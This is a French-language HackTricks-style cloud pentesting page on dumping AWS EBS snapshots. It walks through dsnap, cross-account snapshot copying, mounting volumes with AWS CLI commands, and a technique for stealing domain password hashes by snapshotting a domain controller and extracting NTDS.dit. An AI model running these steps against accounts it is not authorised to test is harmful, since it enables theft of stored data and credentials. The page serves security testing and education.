# AWS - EBS Snapshot Dump

{{#include ../../../../banners/hacktricks-training.md}}

## Vérification d'un instantané localement
```bash
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
```
> [!CAUTION]
> **Remarque** que `dsnap` ne vous permettra pas de télécharger des instantanés publics. Pour contourner cela, vous pouvez faire une copie de l'instantané dans votre compte personnel et télécharger cela :
```bash
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```
Pour plus d'informations sur cette technique, consultez la recherche originale dans [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)

Vous pouvez le faire avec Pacu en utilisant le module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)

## Vérification d'un instantané dans AWS
```bash
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89
```
**Montez-le dans une VM EC2 sous votre contrôle** (il doit être dans la même région que la copie de la sauvegarde) :

Étape 1 : Un nouveau volume de la taille et du type de votre choix doit être créé en allant sur EC2 –> Volumes.

Pour pouvoir effectuer cette action, suivez ces commandes :

- Créez un volume EBS à attacher à l'instance EC2.
- Assurez-vous que le volume EBS et l'instance sont dans la même zone.

Étape 2 : L'option "attacher le volume" doit être sélectionnée en cliquant avec le bouton droit sur le volume créé.

Étape 3 : L'instance dans la zone de texte de l'instance doit être sélectionnée.

Pour pouvoir effectuer cette action, utilisez la commande suivante :

- Attachez le volume EBS.

Étape 4 : Connectez-vous à l'instance EC2 et listez les disques disponibles en utilisant la commande `lsblk`.

Étape 5 : Vérifiez si le volume contient des données en utilisant la commande `sudo file -s /dev/xvdf`.

Si la sortie de la commande ci-dessus montre "/dev/xvdf: data", cela signifie que le volume est vide.

Étape 6 : Formatez le volume au système de fichiers ext4 en utilisant la commande `sudo mkfs -t ext4 /dev/xvdf`. Alternativement, vous pouvez également utiliser le format xfs en utilisant la commande `sudo mkfs -t xfs /dev/xvdf`. Veuillez noter que vous devez utiliser soit ext4 soit xfs.

Étape 7 : Créez un répertoire de votre choix pour monter le nouveau volume ext4. Par exemple, vous pouvez utiliser le nom "newvolume".

Pour pouvoir effectuer cette action, utilisez la commande `sudo mkdir /newvolume`.

Étape 8 : Montez le volume dans le répertoire "newvolume" en utilisant la commande `sudo mount /dev/xvdf /newvolume/`.

Étape 9 : Changez de répertoire vers le répertoire "newvolume" et vérifiez l'espace disque pour valider le montage du volume.

Pour pouvoir effectuer cette action, utilisez les commandes suivantes :

- Changez de répertoire vers `/newvolume`.
- Vérifiez l'espace disque en utilisant la commande `df -h .`. La sortie de cette commande doit montrer l'espace libre dans le répertoire "newvolume".

Vous pouvez faire cela avec Pacu en utilisant le module `ebs__explore_snapshots`.

## Vérification d'un instantané dans AWS (en utilisant cli)
```bash
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt
```
## Shadow Copy

Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs de domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket.

Vous pouvez utiliser cet outil pour automatiser l'attaque : [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou vous pourriez utiliser l'une des techniques précédentes après avoir créé un snapshot.

## References

- [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)

{{#include ../../../../banners/hacktricks-training.md}}
